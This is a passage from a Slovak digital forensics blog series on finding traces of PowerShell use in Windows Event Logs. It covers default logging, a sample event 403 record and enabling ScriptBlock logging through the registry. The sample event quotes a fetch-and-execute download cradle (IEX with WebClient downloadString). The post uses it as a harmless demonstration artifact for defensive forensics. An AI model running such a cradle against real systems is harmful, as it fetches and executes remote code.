PowerShell v Event Logoch
V defaultnom nastavení sa do Event logov zaznamenávajú aktivity spojené s PowerShell procesmi. Event logy sú štandardne uložené v priečinku C:\Windows\System32\winevt\Logs. PowerShellu sa primárne týkajú súbory Microsoft-Windows-Powershell Operational.evtx a Windows PowerShell.evtx.
Popis všetkých udalostí súvisiacich s vykonávaním PowerShellu je nad rámec tohto blogu 😊 Ukážme si však, že pokusy o stiahnutie skriptu zo stránky, ktoré sme z konzoly PowerShellu a z ISE spustili v predošlých príkladoch, viedli k vytvoreniu množstva eventov zaznamenávajúcich vykonanie príkazu. V logu Windows Powershell.evtx vidíme okrem času a dátumu vykonania aj názov zariadenia a samotný vykonaný príkaz:
Všimnime si však, že parametre CommandName, CommandType, ScriptName či CommandLine neboli vyplnené.
Log Name: Windows PowerShell
Source: PowerShell
Date: 9/19/2021 5:09:05 PM
Event ID: 403
Task Category: Engine Lifecycle
Level: Information
Keywords: Classic
User: N/A
Computer: JOE-PC
Description:
Engine state is changed from Available to Stopped.
Details:
NewEngineState=Stopped
PreviousEngineState=Available
SequenceNumber=15
HostName=ConsoleHost
HostVersion=5.1.18362.145
HostId=efd14966-ade1-443e-9727-2769ff388ca4
HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('https://www.istrosec.com/NonexistentScriptToExecute_fromISE.exe')
EngineVersion=5.1.18362.145
RunspaceId=b6060081-ef9c-4e74-9069-bda95dfae56b
PipelineId=
CommandName=
CommandType=
ScriptName=
CommandPath=
CommandLine=
Scriptblock Logging
Ak aj bol na systéme spustený zložitejší PowerShell skript, predvolene nebude v EventLogu zapísaný jeho obsah. Pre detailné zaznamenávanie „všetkého“, čo sa v PowerShelli vykoná, sú potrebné dodatočné úpravy nastavenia auditovania. Ak je naším cieľom zaznamenávať v Event Logu informácie napríklad o skriptoch spúšťaných v systéme, musíme nastaviť hodnotu registra HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging. Vytvoríme hodnotu “EnableScriptBlockLogging” typu DWORD a nastavíme ju na 1. Po úprave bude možné v PowerShell logoch nájsť udalosti obsahujúce kompletný výpis spusteného skriptu.
S povoleným ScriptBlock loggingom bude možné v Microsoft-Windows-PowerShell Operational.evtx nájsť záznamy obsahujúce kompletný skript.
Povedzme, že máme jednoduchý skript Get-Date.ps1:
Get-Date
Write-Host "Have a good day!"
Write-Host "What happens next?"
Invoke-WebRequest 'https://www.istrosec.com/images/blog/mwtools.png' -OutFile image.png
Jeho spustenie zanechá nasledovné stopy:
Aktivovaním transkriptu vznikne súbor scriptblock.txt³. Neobsahuje však žiadnu informáciu o stiahnutí obrázka:
V ConsoleHost_History.txt bude zaznamenané iba meno skriptu:
V Microsoft-Windows-PowerShell Operational.evtx logu môžeme nájsť zodpovedajúcu udalosť, kde je uvedený výpis kompletného skriptu.
Záver
Na predošlých riadkoch sme sa oboznámili s vybranými forenznými artefaktami, v ktorých možno nájst v systéme dôkaz o spúštaní PowerShellu.
Pozorovali sme, aké záznamy zanecháva v AppCompatCache, Prefetch súboroch a JumpListoch, a čo z nich môžeme vyvodiť. Stručne sme vysvetlili význam modulu PSReadline a PowerShell transkriptu. Na záver sme uviedli príklady záznamov v Event Logu, ktoré môžu poskytnút informácie o spúštaných PowerShell skriptoch a príkazoch.
Odkazy
- Stopy po použití PowerShellu na systéme, Časť 1 – Úvod do PowerShell
- Stopy po použití PowerShellu na systéme, Časť 2 – Windows Prefetch
- Stopy po použití PowerShellu na systéme, Časť 3 – AppCompatCache a JumpList
- Stopy po použití PowerShellu na systéme, Časť 4 – História príkazov
- Stopy po použití PowerShellu na systéme, Časť 5 – Windows Event Log